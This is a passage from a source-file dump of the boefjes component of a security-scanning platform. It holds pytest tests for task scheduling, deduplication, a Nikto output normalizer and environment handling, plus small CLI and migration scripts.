completed/failed for both tasks.\n    assert sorted(patched_tasks[3:]) == sorted(\n        [\n            (\"9071c9fd-2b9f-440f-a524-ef1ca4824fd4\", \"failed\"),\n            (\"2071c9fd-2b9f-440f-a524-ef1ca4824fd4\", \"running\"),\n            (\"2071c9fd-2b9f-440f-a524-ef1ca4824fd4\", \"failed\"),\n        ]\n    )\n\n\ndef test_two_processes_cleanup_unfinished_tasks(\n    manager: SchedulerWorkerManager, item_handler: MockHandler, tmp_path\n) -> None:\n    \"\"\"\n    We push 2 slow tasks to the Queue, which will be popped by 2 workers, emptying the Queue and stalling the 2 workers.\n    Because the Queue is now empty, the manager will get 2 new tasks from the scheduler to push to the queue. But only\n    one will be pushed because we do not have any tasks from the scheduler anymore (triggering a KeyboardInterrupt to\n    crash the main process). Then the manager should clean up the running tasks by setting the status of the running\n    tasks to failed and push any tasks still on the Queue back to the scheduler.\n    \"\"\"\n\n    manager.scheduler_client = MockSchedulerClient(\n        3 * [get_dummy_data(\"scheduler/pop_response_boefje.json\")], [], tmp_path / \"patch_task_log\"\n    )\n    manager.pool_size = 2\n    manager.task_queue = Manager().Queue()\n\n    item_handler.sleep_time = 200\n\n    with pytest.raises(KeyboardInterrupt):\n        manager.run(WorkerManager.Queue.BOEFJES)\n\n    items = item_handler.get_all()\n    assert len(items) == 0\n\n    patched_tasks = manager.scheduler_client.get_all_patched_tasks()\n\n    # Task was running but main process crashed intentionally and cleaned it up\n    assert set(patched_tasks) == {\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"running\"),\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"running\"),\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"failed\"),\n    }\n\n    # Tasks (one with the same id) was still unhandled the queue and pushed back to the scheduler by the main process\n    assert manager.scheduler_client._pushed_items[\"70da7d4f-f41f-4940-901b-d98a92e9014b\"][0].scheduler_id == \"boefje\"\n    assert (\n        manager.scheduler_client._pushed_items[\"70da7d4f-f41f-4940-901b-d98a92e9014b\"][0].model_dump(mode=\"json\")\n        == json.loads(get_dummy_data(\"scheduler/pop_response_boefje.json\")).get(\"results\")[0]\n    )\n\n\ndef test_normalizer_queue(manager: SchedulerWorkerManager, item_handler: MockHandler) -> None:\n    with pytest.raises(KeyboardInterrupt):\n        manager.run(WorkerManager.Queue.NORMALIZERS)\n\n    items = item_handler.get_all()\n    assert len(items) == 1\n    assert items[0].data.normalizer.id == \"kat_dns_normalize\"\n\n\ndef test_null(manager: SchedulerWorkerManager, tmp_path: Path, item_handler: MockHandler):\n    manager.scheduler_client = MockSchedulerClient(\n        3 * [get_dummy_data(\"scheduler/pop_response_boefje.json\")],\n        [get_dummy_data(\"scheduler/pop_response_normalizer.json\")],\n        tmp_path / \"patch_task_log\",\n        iterations_to_wait_for_exception=2,\n        sleep_time=0.3,\n    )\n\n    with pytest.raises(KeyboardInterrupt):\n        manager.run(WorkerManager.Queue.BOEFJES)\n\n    items = item_handler.get_all()\n    patched_tasks = manager.scheduler_client.get_all_patched_tasks()\n\n    assert len(items) == 3\n    assert set(patched_tasks) == {\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"running\"),\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"running\"),\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"running\"),\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"completed\"),\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"completed\"),\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"completed\"),\n    }\n\n\ndef test_one_process_deduplication_turned_off(manager: SchedulerWorkerManager, item_handler: MockHandler, tmp_path):\n    manager.scheduler_client = MockSchedulerClient(\n        boefje_responses=[get_dummy_data(\"scheduler/pop_response_duplicated_boefje.json\")],\n        normalizer_responses=[],\n        log_path=tmp_path / \"patch_task_log\",\n    )\n    manager.deduplicate = False\n    with pytest.raises(KeyboardInterrupt):\n        manager.run(WorkerManager.Queue.BOEFJES)\n\n    items = item_handler.get_all()\n\n    # Just one task dispatched\n    assert len(items) == 2\n    assert items[0].data.boefje.id == \"dns-records\"\n    assert items[1].data.boefje.id == \"dns-records\"\n\n    patched_tasks = manager.scheduler_client.get_all_patched_tasks()\n\n    # But two tasks marked as completed\n    assert set(patched_tasks) == {\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"running\"),\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"completed\"),\n        (\"a0da7d4f-f41f-4940-901b-d98a92e9014b\", \"running\"),\n        (\"a0da7d4f-f41f-4940-901b-d98a92e9014b\", \"completed\"),\n    }\n\n    bytes_calls = item_handler.boefje_storage.get_all()\n    assert bytes_calls == []\n\n\ndef test_one_process_deduplication_of_tasks(manager: SchedulerWorkerManager, item_handler: MockHandler, tmp_path):\n    manager.scheduler_client = MockSchedulerClient(\n        boefje_responses=[get_dummy_data(\"scheduler/pop_response_duplicated_boefje.json\")],\n        normalizer_responses=[],\n        log_path=tmp_path / \"patch_task_log\",\n    )\n    with pytest.raises(KeyboardInterrupt):\n        manager.run(WorkerManager.Queue.BOEFJES)\n\n    items = item_handler.get_all()\n\n    # Just one task dispatched\n    assert len(items) == 1\n    assert items[0].data.boefje.id == \"dns-records\"\n\n    patched_tasks = manager.scheduler_client.get_all_patched_tasks()\n\n    # But two tasks marked as completed\n    assert set(patched_tasks) == {\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"running\"),\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"completed\"),\n        (\"a0da7d4f-f41f-4940-901b-d98a92e9014b\", \"completed\"),\n    }\n\n    bytes_calls = item_handler.boefje_storage.get_all()\n    assert bytes_calls == [\n        (\n            \"save_boefje_meta\",\n            (\n                {\n                    \"id\": UUID(\"a0da7d4f-f41f-4940-901b-d98a92e9014b\"),\n                    \"started_at\": None,\n                    \"ended_at\": None,\n                    \"boefje\": {\"id\": \"dns-records\", \"version\": None, \"oci_image\": None},\n                    \"input_ooi\": \"Hostname|internet|test.test\",\n                    \"arguments\": {},\n                    \"organization\": \"_dev2\",\n                    \"runnable_hash\": None,\n                    \"environment\": None,\n                },\n            ),\n        ),\n        (\n            \"save_raw\",\n            (\n                UUID(\"a0da7d4f-f41f-4940-901b-d98a92e9014b\"),\n                BoefjeOutput(status=StatusEnum.COMPLETED, files=[File(name=\"1\", content=\"MTIz\", tags={\"my/mime\"})]),\n            ),\n        ),\n    ]\n    # For clarity:\n    assert base64.b64decode(\"MTIz\") == b\"123\"\n\n\ndef test_one_process_deduplication_exception_puts_duplicated_task_back_on_the_queue(\n    manager: SchedulerWorkerManager, item_handler: MockHandler, tmp_path\n):\n    manager.scheduler_client = MockSchedulerClient(\n        boefje_responses=[get_dummy_data(\"scheduler/pop_response_duplicated_boefje_error.json\")],\n        normalizer_responses=[],\n        log_path=tmp_path / \"patch_task_log\",\n    )\n    with pytest.raises(KeyboardInterrupt):\n        manager.run(WorkerManager.Queue.BOEFJES)\n\n    items = item_handler.get_all()\n    assert len(items) == 0\n    patched_tasks = manager.scheduler_client.get_all_patched_tasks()\n\n    assert set(patched_tasks) == {\n        (\"9071c9fd-2b9f-440f-a524-ef1ca4824fd4\", \"running\"),\n        (\"9071c9fd-2b9f-440f-a524-ef1ca4824fd4\", \"failed\"),\n        (\"a0da7d4f-f41f-4940-901b-d98a92e9014b\", \"queued\"),\n    }\n\n\ndef test_one_process_deduplication_duplicate_docker_boefje_as_well(\n    manager: SchedulerWorkerManager, item_handler: MockHandler, tmp_path\n):\n    manager.scheduler_client = MockSchedulerClient(\n        boefje_responses=[get_dummy_data(\"scheduler/pop_response_duplicated_docker_boefje.json\")],\n        normalizer_responses=[],\n        log_path=tmp_path / \"patch_task_log\",\n    )\n    with pytest.raises(KeyboardInterrupt):\n        manager.run(WorkerManager.Queue.BOEFJES)\n\n    items = item_handler.get_all()\n\n    # Just one task dispatched\n    assert len(items) == 1\n    patched_tasks = manager.scheduler_client.get_all_patched_tasks()\n\n    # But two tasks marked as completed\n    assert set(patched_tasks) == {\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"running\"),\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"completed\"),\n        (\"a0da7d4f-f41f-4940-901b-d98a92e9014b\", \"completed\"),\n    }\n\n\ndef test_create_manager():\n    get_runtime_manager(Settings(), WorkerManager.Queue.BOEFJES)\n    get_runtime_manager(Settings(), WorkerManager.Queue.NORMALIZERS)\n"
  },
  {
    "path": "boefjes/tests/test_job_handler.py",
    "content": "from boefjes.clients.scheduler_client import boefje_env_variables, get_system_env_settings_for_boefje\n\n\ndef test_boefje_systems_vars(monkeypatch):\n    boefje_env_variables.cache_clear()\n\n    monkeypatch.setenv(\"BOEFJE_TEST1\", \"Test\")\n\n    env = get_system_env_settings_for_boefje([\"TEST1\", \"TEST2\"])\n\n    assert env == {\"TEST1\": \"Test\"}\n\n\ndef test_boefje_system_vars_no_vars():\n    boefje_env_variables.cache_clear()\n\n    env = get_system_env_settings_for_boefje([\"TEST1\", \"TEST2\"])\n\n    assert env == {}\n\n\ndef test_boefje_systems_vars_no_allowed_keys(monkeypatch):\n    boefje_env_variables.cache_clear()\n\n    monkeypatch.setenv(\"BOEFJE_TEST1\", \"Test\")\n\n    env = get_system_env_settings_for_boefje([])\n\n    assert env == {}\n"
  },
  {
    "path": "boefjes/tests/test_models.py",
    "content": "from boefjes.sql.db_models import RunOnDB\nfrom boefjes.worker.models import RunOn\n\n\ndef test_run_on():\n    assert RunOnDB.from_run_ons([RunOn.CREATE]) == RunOnDB.CREATE\n    assert RunOnDB.from_run_ons([RunOn.UPDATE]) == RunOnDB.UPDATE\n    assert RunOnDB.from_run_ons([RunOn.CREATE, RunOn.UPDATE]) == RunOnDB.CREATE_UPDATE\n    assert RunOnDB.from_run_ons([RunOn.UPDATE, RunOn.CREATE]) == RunOnDB.CREATE_UPDATE\n    assert RunOnDB.from_run_ons([1]) is None\n    assert RunOnDB.from_run_ons([]) is None\n\n    assert RunOnDB.CREATE.to_run_ons() == [RunOn.CREATE]\n    assert RunOnDB.UPDATE.to_run_ons() == [RunOn.UPDATE]\n    assert RunOnDB.CREATE_UPDATE.to_run_ons() == [RunOn.CREATE, RunOn.UPDATE]\n"
  },
  {
    "path": "boefjes/tests/test_nikto_normalizer.py",
    "content": "from unittest import TestCase\n\nfrom boefjes.plugins.kat_nikto.normalize import run\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\nfrom tests.loading import get_dummy_data\n\n\nclass NiktoNormalizerTest(TestCase):\n    def test_outdated_and_legacy_missing_header(self):\n        # The legacy fixture (Nikto 2.5-era message format) exercises two branches:\n        # - id 600575 → outdated software\n        # - id 999103 → missing security header, with the \"The <Header> header is not set.\" wording\n        # The old-format regex should still extract the header name.\n        input_ooi = {\"primary_key\": \"Hostname|internet|example.com\"}\n        ooi_ref = Reference.from_str(input_ooi[\"primary_key\"])\n\n        oois = list(run(input_ooi, get_dummy_data(\"raw/nikto-example.com.json\")))\n\n        software = Software(name=\"nginx\", version=\"1.18.0\")\n        software_instance = SoftwareInstance(ooi=ooi_ref, software=software.reference)\n        outdated_type = KATFindingType(id=\"KAT-OUTDATED-SOFTWARE\")\n        outdated_finding = Finding(\n            finding_type=outdated_type.reference,\n            ooi=software_instance.reference,\n            description=\"nginx/1.18.0 appears to be outdated (current is at least 1.25.3).\",\n        )\n        missing_header_type = KATFindingType(id=\"KAT-NO-X-CONTENT-TYPE-OPTIONS\")\n        missing_header_finding = Finding(\n            finding_type=missing_header_type.reference,\n            ooi=ooi_ref,\n            description=(\n                \"The X-Content-Type-Options header is not set. This could allow the user agent \"\n                \"to render the content of the site in a different fashion to the MIME type.\"\n            ),\n        )\n\n        expected = [\n            software,\n            software_instance,\n            outdated_type,\n            outdated_finding,\n            missing_header_type,\n            missing_header_finding,\n        ]\n\n        self.assertEqual(expected, oois)\n\n    def test_unmapped_id_yields_generic_finding(self):\n        # Even an unmapped id (here \"0\": connection failure) is surfaced as a generic finding\n        # rather than silently dropped — fixes the symptom reported by Kennisnet.\n        input_ooi = {\"primary_key\": \"Hostname|internet|non-existing.com\"}\n        ooi_ref = Reference.from_str(input_ooi[\"primary_key\"])\n\n        oois = list(run(input_ooi, get_dummy_data(\"raw/nikto-non-existing.com.json\")))\n\n        self.assertEqual(2, len(oois))\n        self.assertEqual(\"KATFindingType\", oois[0].object_type)\n        self.assertEqual(\"KAT-NIKTO-FINDING\", oois[0].id)\n        self.assertEqual(\"Finding\", oois[1].object_type)\n        self.assertEqual(ooi_ref, oois[1].ooi)\n\n    def test_nikto_2_6_full_coverage(self):\n        # Fixture captured from a real `nikto 2.6.0` run against apache.dvwa.cloud with\n        # Tuning=3b. Asserts that every vulnerability id in the fixture produces a\n        # finding — this is the exact regression reported by Kennisnet.\n        input_ooi = {\"primary_key\": \"Website|internet|192.0.2.10|tcp|443|https|internet|apache.dvwa.cloud\"}\n\n        oois = list(run(input_ooi, get_dummy_data(\"raw/nikto-apache.dvwa.cloud.json\")))\n\n        finding_type_ids = {o.id for o in oois if o.object_type == \"KATFindingType\"}\n        findings = [o for o in oois if o.object_type == \"Finding\"]\n        software = [o for o in oois if o.object_type == \"Software\"]\n\n        # 013587 → specific mapped type for x-content-type-options (new Nikto 2.6 message format)\n        self.assertIn(\"KAT-NO-X-CONTENT-TYPE-OPTIONS\", finding_type_ids)\n        # 600050 → outdated software\n        self.assertIn(\"KAT-OUTDATED-SOFTWARE\", finding_type_ids)\n        # 999992 → wildcard certificate\n        self.assertIn(\"KAT-WILDCARD-CERTIFICATE\", finding_type_ids)\n        # 999990 with TRACE in msg AND 000434 both map to TRACE method finding\n        self.assertIn(\"KAT-HTTP-TRACE-METHOD\", finding_type_ids)\n        # 003584 → default file exposed\n        self.assertIn(\"KAT-EXPOSED-DEFAULT-FILE\", finding_type_ids)\n        # 999986 → banner disclosure, yields a Software + generic catch-all finding\n        self.assertIn(\"KAT-NIKTO-FINDING\", finding_type_ids)\n        self.assertTrue(any(s.name == \"Apache\" and s.version == \"2.4.49\" for s in software))\n\n        # Every vulnerability in the fixture should surface exactly one Finding (seven in total).\n        self.assertEqual(7, len(findings))\n"
  },
  {
    "path": "boefjes/tests/test_tasks.py",
    "content": "import base64\nimport os\nimport sys\nimport uuid\nfrom datetime import datetime, timezone\nfrom pathlib import Path\nfrom unittest import mock\nfrom uuid import UUID\n\nimport pytest\n\nfrom boefjes.worker.boefje_handler import LocalBoefjeHandler\nfrom boefjes.worker.interfaces import StatusEnum, Task, TaskStatus\nfrom boefjes.worker.job_models import BoefjeMeta, InvalidReturnValueNormalizer, NormalizerMeta\nfrom boefjes.worker.models import Bit, Boefje, Normalizer, PluginType\nfrom boefjes.worker.repository import LocalPluginRepository\nfrom tests.loading import get_dummy_data, get_task\n\nboefjes = [\n    Boefje(id=\"test-boefje-1\", name=\"test-boefje-1\", consumes={\"SomeOOI\"}, produces=[\"test-boef-1\", \"test/text\"]),\n    Boefje(id=\"test-boefje-2\", name=\"test-boefje-2\", consumes={\"SomeOOI\"}, produces=[\"test-boef-2\", \"test/text\"]),\n    Boefje(id=\"test-boefje-3\", name=\"test-boefje-3\", consumes={\"SomeOOI\"}, produces=[\"test-boef-3\", \"test/plain\"]),\n    Boefje(id=\"test-boefje-4\", name=\"test-boefje-4\", consumes={\"SomeOOI\"}, produces=[\"test-boef-4\", \"test/and-simple\"]),\n]\nnormalizers = [\n    Normalizer(\n        id=\"test-normalizer-1\",\n        name=\"test-normalizer-1\",\n        consumes=[\"test-boef-3\", \"test/text\"],\n        produces=[\"SomeOOI\", \"OtherOOI\"],\n    ),\n    Normalizer(id=\"test-normalizer-2\", name=\"test-normalizer-2\", consumes=[\"test/text\"], produces=[\"SomeOtherOOI\"]),\n]\nbits = [\n    Bit(id=\"test-bit-1\", name=\"test-bit-1\", consumes=\"SomeOOI\", produces=[\"SomeOOI\"], parameters=[]),\n    Bit(id=\"test-bit-2\", name=\"test-bit-2\", consumes=\"SomeOOI\", produces=[\"SomeOOI\", \"SomeOtherOOI\"], parameters=[]),\n]\nplugins: list[PluginType] = boefjes + normalizers + bits\nsys.path.append(str(Path(__file__).parent))\n\n\ndef test_parse_normalizer_meta_to_json():\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"snyk-normalizer.json\"))\n    meta.started_at = datetime(2023, 10, 10, 10, tzinfo=timezone.utc)\n    meta.ended_at = datetime(2023, 10, 10, 12, tzinfo=timezone.utc)\n    results = meta.model_dump(mode=\"json\")\n\n    assert results[\"started_at\"] == \"2023-10-10T10:00:00Z\"\n    assert results[\"ended_at\"] == \"2023-10-10T12:00:00Z\"\n\n\ndef test_handle_boefje_with_exception(mocker):\n    mocker.patch(\"boefjes.clients.scheduler_client.get_environment_settings\", return_value={})\n    mock_bytes_api_client = mocker.patch(\"boefjes.job_handler.bytes_api_client\")\n    mocker.patch(\"boefjes.job_handler.get_octopoes_api_connector\")\n\n    task = Task(\n        id=uuid.uuid4().hex,\n        scheduler_id=\"test\",\n        schedule_id=\"test\",\n        organisation=\"test\",\n        priority=1,\n        status=TaskStatus.RUNNING,\n        type=\"boefje\",\n        created_at=datetime.now(),\n        modified_at=datetime.now(),\n        data=BoefjeMeta(\n            id=\"0dca59db-b339-47c4-bcc9-896fc18e2386\",\n            boefje={\"id\": \"dummy_boefje_runtime_exception\"},\n            input_ooi=\"Network|internet\",\n            arguments={},\n            organization=\"_dev\",\n        ),\n    )\n    local_repository = LocalPluginRepository(Path(__file__).parent / \"modules\")\n\n    mock_session = mock.MagicMock()\n    mock_session.query.all.return_value = []\n\n    with pytest.raises(RuntimeError):  # Bytes still saves exceptions before they are reraised\n        LocalBoefjeHandler(local_repository, mock_bytes_api_client).handle(task)\n\n    mock_bytes_api_client.save_output.assert_called_once()\n    raw_call_args = mock_bytes_api_client.save_output.call_args\n\n    assert raw_call_args[0][0].id == UUID(\"0dca59db-b339-47c4-bcc9-896fc18e2386\")\n    assert raw_call_args[0][1].status == StatusEnum.FAILED\n    contents = base64.b64decode(raw_call_args[0][1].files[0].content).decode()\n    assert \"Traceback (most recent call last)\" in contents\n    assert \"RuntimeError: dummy error\" in contents\n    # default mime-types are added through the API\n    assert set(raw_call_args[0][1].files[0].tags) == {\"error/boefje\", \"boefje/dummy_boefje_runtime_exception\"}\n\n\ndef test_exception_raised_unsupported_return_type_normalizer(mock_normalizer_runner):\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"dns-normalize.json\"))\n    meta.raw_data.boefje_meta.input_ooi = None\n    meta.normalizer.id = \"dummy_bad_normalizer_return_type\"\n\n    with pytest.raises(InvalidReturnValueNormalizer):\n        mock_normalizer_runner.run(meta, b\"123\")\n\n\ndef test_exception_raised_invalid_return_value(mock_normalizer_runner):\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"dns-normalize.json\"))\n    meta.raw_data.boefje_meta.input_ooi = None\n    meta.normalizer.id = \"dummy_bad_normalizer_dict_structure\"\n\n    with pytest.raises(InvalidReturnValueNormalizer):\n        mock_normalizer_runner.run(meta, b\"123\")\n\n\ndef test_cleared_boefje_env(mock_boefje_handler) -> None:\n    \"\"\"This test checks if un-containerized (local) boefjes can only access their explicitly set env vars\"\"\"\n    task = get_task(boefje_id=\"dummy_boefje_environment\")\n    task.data.environment = {\"ARG1\": \"value1\", \"ARG2\": \"value2\"}\n\n    current_env = os.environ.copy()\n    mock_boefje_handler.handle(task)\n\n    # Assert that the original environment has been restored correctly\n    assert current_env == os.environ\n\n\ndef test_correct_local_runner_hash(mock_local_repository) -> None:\n    \"\"\"This test checks if calculating the hash of local boefjes returns the correct result\"\"\"\n    boefje_resource_1 = mock_local_repository.by_id(\"dummy_boefje_environment\")\n    boefje_resource_2 = mock_local_repository.by_id(\"dummy\")\n\n    # This boefje has a __pycache__ folder with *.pyc files, which should be ignored\n    boefje_resource_3 = mock_local_repository.by_id(\"dummy_boefje_environment_with_pycache\")\n\n    # Sanity check to make sure the .pyc files are actually there\n    path = Path(__file__).parent / \"modules\" / \"dummy_boefje_environment_with_pycache\"\n    assert Path(path / \"some_subdir/cache.pyc\").is_file()\n    assert Path(path / \"some_subdir/__init__.py\").is_file()\n    assert Path(path / \"__pycache__/pytest__init__.cpython-311.pyc\").is_file()\n    assert Path(path / \"__pycache__/pytest_main.cpython-311.pyc\").is_file()\n\n    assert boefje_resource_1.boefje.runnable_hash == \"7a6de035b9b3f3de1534582df3a1024476d62aad4fce51b7ffa9f13dd92dcbd2\"\n    assert boefje_resource_2.boefje.runnable_hash == \"125d118d21c25ca522fc436cbe1ac8af336b7a973423d23ca02ce287a6c07b2d\"\n    assert boefje_resource_3.boefje.runnable_hash == \"3fceaf2422bd6d3975e73d5d7d297e9c4a70efce60fccfab761235f08b6891b4\"\n"
  },
  {
    "path": "boefjes/tools/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tools/run_boefje.py",
    "content": "#!/usr/bin/env python3\n# ruff: noqa: E402\n\nimport logging\nimport pdb\nimport sys\nimport uuid\nfrom pathlib import Path\n\nimport click\nfrom sqlalchemy.orm import sessionmaker\n\nfrom boefjes.clients.scheduler_client import SchedulerAPIClient\nfrom boefjes.dependencies.plugins import PluginService\nfrom boefjes.sql.config_storage import create_config_storage\nfrom boefjes.sql.db import get_engine\nfrom boefjes.sql.plugin_storage import create_plugin_storage\nfrom boefjes.worker.boefje_handler import LocalBoefjeHandler\n\nsys.path.append(str(Path(__file__).resolve().parent.parent))\n\nfrom boefjes.job_handler import bytes_api_client\nfrom boefjes.worker.job_models import Boefje, BoefjeMeta\nfrom boefjes.worker.repository import get_local_repository\n\nlogging.basicConfig(stream=sys.stdout, level=logging.INFO, force=True)\n\n\n@click.command()\n@click.option(\"--pdb\", \"start_pdb\", is_flag=True, help=\"Start pdb on exceptions\")\n@click.argument(\"organization_code\")\n@click.argument(\"boefje_id\")\n@click.argument(\"input_ooi\")\ndef run_boefje(start_pdb, organization_code, boefje_id, input_ooi):\n    \"\"\"Run boefje\"\"\"\n\n    meta = BoefjeMeta(id=uuid.uuid4(), boefje=Boefje(id=boefje_id), organization=organization_code, input_ooi=input_ooi)\n\n    local_repository = get_local_repository()\n\n    session = sessionmaker(bind=get_engine())()\n    plugin_service = PluginService(create_plugin_storage(session), create_config_storage(session), local_repository)\n    meta = SchedulerAPIClient(plugin_service, \"/dev/null\")._hydrate_boefje_meta(meta)\n\n    handler = LocalBoefjeHandler(local_repository, bytes_api_client)\n    try:\n        handler.handle(meta)\n    except Exception:\n        if start_pdb:\n            pdb.post_mortem()\n\n        raise\n\n\nif __name__ == \"__main__\":\n    run_boefje()\n"
  },
  {
    "path": "boefjes/tools/run_normalizer.py",
    "content": "#!/usr/bin/env python3\n# ruff: noqa: E402\n\nimport logging\nimport pdb\nimport sys\nimport uuid\nfrom pathlib import Path\n\nimport click\n\nsys.path.append(str(Path(__file__).resolve().parent.parent))\n\nfrom boefjes.config import settings\nfrom boefjes.job_handler import NormalizerHandler, bytes_api_client\nfrom boefjes.local.runner import LocalNormalizerJobRunner\nfrom boefjes.worker.job_models import Normalizer, NormalizerMeta\nfrom boefjes.worker.repository import get_local_repository\n\nlogging.basicConfig(stream=sys.stdout, level=logging.INFO, force=True)\n\n\n@click.command()\n@click.option(\"--pdb\", \"start_pdb\", is_flag=True, help=\"Start pdb on exceptions\")\n@click.argument(\"normalizer_id\")\n@click.argument(\"raw_id\")\ndef run_normalizer(start_pdb, normalizer_id, raw_id):\n    \"\"\"Run normalizer\"\"\"\n\n    bytes_api_client.login()\n    raw = bytes_api_client.get_raw_meta(raw_id)\n\n    meta = NormalizerMeta(id=uuid.uuid4(), raw_data=raw, normalizer=Normalizer(id=normalizer_id))\n\n    local_repository = get_local_repository()\n\n    handler = NormalizerHandler(\n        LocalNormalizerJobRunner(local_repository), bytes_api_client, settings.scan_profile_whitelist\n    )\n    try:\n        handler.handle(meta)\n    except Exception:\n        if start_pdb:\n            pdb.post_mortem()\n\n        raise\n\n\nif __name__ == \"__main__\":\n    run_normalizer()\n"
  },
  {
    "path": "boefjes/tools/show_raw.py",
    "content": "#!/usr/bin/env python3\n# ruff: noqa: E402, T201\n\nimport json\nimport sys\nfrom pathlib import Path\n\nimport click\nfrom pygments import highlight\nfrom pygments.formatters import TerminalFormatter\nfrom pygments.lexers import JsonLexer\n\nsys.path.append(str(Path(__file__).resolve().parent.parent))\n\nfrom boefjes.job_handler import bytes_api_client\n\n\n@click.command()\n@click.option(\"--json\", \"print_json\", is_flag=True, help=\"Pretty print raw as json\")\n@click.argument(\"raw_id\")\ndef show_raw(print_json, raw_id):\n    \"\"\"Show raw file\"\"\"\n\n    bytes_api_client.login()\n    raw = bytes_api_client.get_raw(raw_id)\n\n    raw_str = raw.decode(\"utf-8\")\n\n    if print_json:\n        json_object = json.loads(raw_str)\n        formatted_json_str = json.dumps(json_object, indent=4, sort_keys=True)\n        print(highlight(formatted_json_str, JsonLexer(), TerminalFormatter()))\n    else:\n        print(raw_str)\n\n\nif __name__ == \"__main__\":\n    show_raw()\n"
  },
  {
    "path": "boefjes/tools/upgrade_v1_17_0.py",
    "content": "#!/usr/bin/env python3\n\n\"\"\"Migration script for v1.17.0 due to a bug in the garbage collection. To be removed in later versions.\nhttps://github.com/minvws/nl-kat-coordination/issues/2875\"\"\"\n\nimport json\nimport logging.config\nimport sys\nfrom datetime import datetime, timezone\nfrom pathlib import Path\n\nimport click\nfrom httpx import HTTPStatusError\nfrom sqlalchemy.orm import sessionmaker\n\nfrom boefjes.api import get_bytes_client\nfrom boefjes.clients.scheduler_client import get_octopoes_api_connector\nfrom boefjes.config import settings\nfrom boefjes.dependencies.plugins import PluginService\nfrom boefjes.sql.config_storage import create_config_storage\nfrom boefjes.sql.db import get_engine\nfrom boefjes.sql.organisation_storage import create_organisation_storage\nfrom boefjes.sql.plugin_storage import create_plugin_storage\nfrom boefjes.storage.interfaces import OrganisationStorage\nfrom boefjes.worker.models import Boefje\nfrom boefjes.worker.repository import get_local_repository\nfrom octopoes.models.origin import OriginType\n\nsys.path.append(str(Path(__file__).resolve().parent.parent))\n\n\nwith settings.log_cfg.open() as f:\n    logging.config.dictConfig(json.load(f))\n\nlogger = logging.getLogger(__name__)\n\n\ndef upgrade(organisation_repository: OrganisationStorage, valid_time: datetime | None = None) -> tuple[int, int]:\n    \"\"\"\n    Perform the migration for all organisations in the database. The happy flow in this script is idempotent,\n    meaning that it can be rerun until there are no, or only expected, exceptions.\n    \"\"\"\n    if valid_time is None:\n        valid_time = datetime.now(timezone.utc)\n\n    bytes_client = get_bytes_client()\n    bytes_client.login()\n\n    total_failed = 0\n    total_processed = 0\n\n    organisations = organisation_repository.get_all()\n    logger.info(\"Processing %s organisations in total\", len(organisations))\n\n    boefjes_per_normalizer = collect_boefjes_per_normalizer()\n    logger.info(\"Found %s normalizers\", len(boefjes_per_normalizer))\n\n    for organisation_id in organisations:\n        connector = get_octopoes_api_connector(organisation_id)\n        logger.info(\"Processing organisation [organization_id=%s]\", organisation_id)\n\n        failed, processed = migrate_organisation(\n            bytes_client, connector, organisation_id, boefjes_per_normalizer, valid_time\n        )\n        total_failed += failed\n        total_processed += processed\n\n        logger.info(\"Processed organisation [total_processed=%s, total_failed=%s]\", processed, failed)\n\n    logger.info(\"Finished migration [total_processed=%s, total_failed=%s]\", total_processed, total_failed)\n\n    return total_processed, total_failed\n\n\ndef migrate_organisation(\n    bytes_client, connector, organisation_id, boefjes_per_normalizer, valid_time\n) -> tuple[int, int]:\n    \"\"\"\n    For each organisation, we paginate through the origin API, find the matching normalizer meta in Bytes,\n    and set the source_method to the boefje id. Then update the origin, i.e. save it and delete the old one.\n    \"\"\"\n\n    try:\n        connector.health()\n    except HTTPStatusError as e:\n        if e.response.status_code == 404:\n            logger.warning(\n                \"Organisation found that does not exist in Octopoes [organisation_id=%s]. Make sure to remove this \"\n                \"organisation from the Katalogus database if it is no longer in use.\",\n                organisation_id,\n            )\n        raise\n\n    failed = 0\n    processed = 0\n\n    offset = 0\n    page_size = 200\n\n    bulk_updated_origins = []\n\n    while True:\n        # We loop through the paginated API until we reach the end\n\n        origins = connector.list_origins(\n            valid_time, method=[x for x in boefjes_per_normalizer], offset=offset, limit=page_size\n        )\n        logger.info(\"Processing %s origins\", len(origins))\n\n        for origin in origins:\n            if origin.source_method is not None or origin.origin_type == OriginType.INFERENCE:\n                continue\n\n            if origin.method in boefjes_per_normalizer and len(boefjes_per_normalizer[origin.method]) == 1:\n                origin.source_method = boefjes_per_normalizer[origin.method][0].id\n                bulk_updated_origins.append(origin)\n                continue\n\n            try:\n                normalizer_meta = bytes_client.get_normalizer_meta(origin.task_id)\n                origin.source_method = normalizer_meta.raw_data.boefje_meta.boefje.id\n                bulk_updated_origins.append(origin)\n            except HTTPStatusError as error:\n                # We expect to find Declaration/Affirmations without a normalizer meta\n                if error.response.status_code == 404 and origin.method != \"manual\":\n                    logger.warning(\n                        \"Could not find normalizer_meta [task_id=%s, method=%s, origin_type=%s]\",\n                        origin.task_id,\n                        origin.method,\n                        origin.origin_type,\n                    )\n                elif error.response.status_code == 404:\n                    logger.info(\n                        \"Could not find normalizer_meta [task_id=%s, method=%s, origin_type=%s]\",\n                        origin.task_id,\n                        origin.method,\n                        origin.origin_type,\n                    )\n                else:\n                    logger.exception(\n                        \"Could not find normalizer_meta [task_id=%s, method=%s, origin_type=%s]\",\n                        origin.task_id,\n                        origin.method,\n                        origin.origin_type,\n                    )\n                    failed += 1\n\n                continue\n\n        if len(origins) < 